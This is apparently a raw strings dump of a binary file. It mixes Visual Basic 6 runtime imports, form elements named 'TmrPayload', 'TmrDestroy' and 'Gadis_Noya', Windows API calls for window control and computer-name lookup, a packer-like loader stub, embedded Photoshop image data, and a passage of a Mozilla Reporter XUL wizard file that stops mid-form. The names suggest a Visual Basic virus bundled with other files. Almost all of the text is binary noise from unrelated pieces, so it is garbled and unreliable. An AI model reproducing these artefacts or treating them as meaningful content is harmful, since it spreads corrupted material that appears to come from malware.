+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
TmrPayload
VBA6.DLL
Command1
Command2
Command3
TmrDestroy
user32
GetForegroundWindow
SetWindowTextA
GetWindowTextA
kernel32
lstrcpyA
SetWindowPos
FindWindowA
PostMessageA
Gadis_Noya
Gadis_A_Noya
Gadis_B_Noya
Gadis_C_Noya
Gadis_D_Noya
Gadis_E_Noya
Gadis_F_Noya
Gadis_G_Noya
Gadis_H_Noya
Gadis_I_Noya
+3q"=h
+3qyO3f
GetComputerNameA
[,JAF'
e/<C@[d
d,qJ`mN3f
Picture1
BitBlt
GetDesktopWindow
ReleaseDC
__vbaVarTstEq
__vbaStrCmp
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaStrVarMove
__vbaVarCmpNe
__vbaVarAnd
__vbaBoolVarNull
__vbaLateIdCallLd
__vbaEnd
__vbaVarSub
__vbaVarForNext
__vbaVarAdd
__vbaVarDup
__vbaI4Var
__vbaStrMove
__vbaVarMove
__vbaLenBstr
__vbaVarForInit
__vbaVarLateMemCallLd
__vbaObjVar
__vbaVarSetVar
__vbaFreeVar
__vbaFreeVarList
__vbaFreeObjList
__vbaFreeStrList
__vbaVarCat
__vbaStrVarVal
__vbaObjSet
__vbaFreeObj
__vbaFreeStr
__vbaStrCat
__vbaNew2
__vbaObjSetAddref
__vbaHresultCheckObj
__vbaOnError
__vbaPrintFile
__vbaR4Var
__vbaVarCmpEq
__vbaVarOr
__vbaVarZero
__vbaAryUnlock
__vbaNextEachVar
__vbaFileClose
__vbaVarLateMemCallLdRf
__vbaForEachVar
__vbaVargVar
__vbaErrorOverflow
__vbaPut3
__vbaGet3
__vbaFileOpen
__vbaFpI4
__vbaI2I4
__vbaLateMemCall
__vbaStrVarCopy
__vbaInStrVar
__vbaStrCopy
[,JAF'
FormShowDos
Courier NewD
Picture1
MS Sans Serif;
Using shell32.dll functions
}SVWeE
} jXh0@
}#j(hp5@
}#j,h5@
}#j(h5@
}#j,h5@
}#j$h5@
}#jTh5@
}#jHh5@
}#j h5@
MQ8REP
MQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
rMQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
4SVWeE
F4~43;
j0hp5@
}#jPh6@
PtQREP
QTRdPMQ
TPdQUR
R4PDQUR
4QDREP
}#jhh6@
}#j|h6@
}#jXh6@
}#jXh6@
TRdPQRj
}#j4hp5@
4RDPTQdRtPQRj
4PDQTRdPtQRPQRPj
SVWeE8
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
=EMPQj
TdRtPQj
SVWeEH
uuuu|ld\XTD4$
RPQRMPQ
$4RDPQj
E|PDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEX
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEh
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEx
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
EPhh8@
=EMPQj
TdRtPQj
\SVWeE
} jPh6@
}#jXh6@
UREPMQUREPj
MQUREPMQURj
XSVWeE(
UREPQRPQ
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
MQRPQR
EPMQRPQR
URPQRP
PRTPXQ\R`Pj
Q(R8Pj
xREPMQpRlPtQ
PUREPMQj
UREPpQlRtP
PQRdPtQUR
dQtREP
QRPDQTREP
DRTPMQ
RPQ$R4PMQ
$P4QUR
QRPQREP
PR@P,Q
RPQRPMQ
PPpQ,R
PQRPQUR
pQUR,P
QRPQREP
RPQdRtPMQ
dPtQUR
PQRDPTQUR
DQTREP
QRP$Q4REP
$R4PMQ
PQRPQUR
QRPQREP
URpP,Q
QRPQRP
P$Q4RDPTQdRtPQRPQRPQR
Q$R4PDQTRdPtQj
_^[]QVt$
Vt&PX}
_fFX3^Y
EEEE|l\EPVE
QR|UF8QRPE
E\Pl^HQRSE
L|UQF8RP
\lR|PUQRj
}}}}thdTD4$
QP3f h
f9tY9=A
jPhtA@
jPhtA@
jPhtA@
jDhdA@
&dhQRj
mSVWeE
PxQhR0P@QUR
0Q@REP
RxPhQR
PxQhRPQUR
QxRhPQREP
RxPhQRPMQ
PxQhRpPQUR
QxRhPPQ`REP
PR`PMQ
RxPhQ0R@PMQ
0P@QUR
Q R0P@QPR`PpQRPQRPQRP
R P0Q@Rj
tSVWeE
MEPUQRE
;tvUEVPUE
UQREVPE
EMPUQRj
EEEE|l\L<,
xhXH8($
xhXHD4$
tdTD4$
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
hHR4PQ
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
<h4P$QR
$R4PQj
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
x|R4PQ
RPQRMPQ
$R4PQj
8MP4QR
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
<PSh@@
(QSh@@
xRSh@@
8PSh@@
HEPSh@@
URSh@@
$P4QRj
R$P4QDRTPdQtRPQRPQRPQ
P$Q4RDPTQdRtPQRPQRPQj
MSVBVM60.DLL
__vbaVarSub
_CIcos
_adj_fptan
__vbaVarMove
__vbaFreeVar
__vbaLenBstr
__vbaStrVarMove
__vbaPut3
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaNextEachVar
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaVarCmpNe
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaVarForInit
__vbaOnError
__vbaObjSet
_adj_fdiv_m16i
__vbaObjSetAddref
_adj_fdivr_m16i
__vbaVargVar
__vbaBoolVarNull
_CIsin
__vbaVarZero
__vbaChkstk
__vbaFileClose
EVENT_SINK_AddRef
__vbaGet3
__vbaStrCmp
__vbaVarTstEq
__vbaI2I4
__vbaObjVar
DllFunctionCall
__vbaVarOr
_adj_fpatan
__vbaR4Var
__vbaLateIdCallLd
EVENT_SINK_Release
_CIsqrt
__vbaVarAnd
EVENT_SINK_QueryInterface
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaFPException
__vbaInStrVar
__vbaStrVarVal
__vbaVarCat
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVarLateMemCallLdRf
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaFreeStrList
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarSetVar
__vbaI4Var
__vbaVarCmpEq
__vbaLateMemCall
__vbaVarAdd
__vbaVarDup
__vbaStrToAnsi
__vbaFpI4
__vbaVarLateMemCallLd
_CIatan
__vbaStrMove
__vbaStrVarCopy
__vbaForEachVar
_allmul
_CItan
__vbaAryUnlock
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
i>A4-$
fCtS5-'
ECyU80,
{jA4-$
EK-2P|
qL7-2\$
rQG--?YY!
rQG--YaD*
oF:6P}2
oXE--^
o`E:-3
1qqqqpY7-
,tttttttq\Z9*
(}vvvvvvvvvvvvumR2&
#}yyyyyyyyyyyyyyyrn)
"xVO4]
lWTUS?c~'
*$$$$$$$$
*%%%%%%%%*
*'''''''' *
*))))))))!*
*********"*
+++++++++&+
)(((((+++++
+****+
-kkeJ/
.nnnnnnnS8
/qqqqqqqqqqq\@$
tttttttttttttttfI3
wwwwwwwwwwwwwwwwwwwpS<
zzzzzzzzzzzzzzzzzzzzzzzz\E&
}}}}}}}}}}}}}}}}}}}}}}}}}}M
H((wf,
I33lfZ
KUUmfh
[~lR7#
Rqqqqq\G+
0uuuuuuuuugQ4
1zzzzzzzzzzzzzz\>
2}}}}}}}}}}}}}}}}}r
w)dgu6
Hg3&;wG
D9#?^}
!u}M9&
~!fnnnnnnnn:
$f&zzzzzzzzC
u0,,,,,,'#
11/15/2008
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
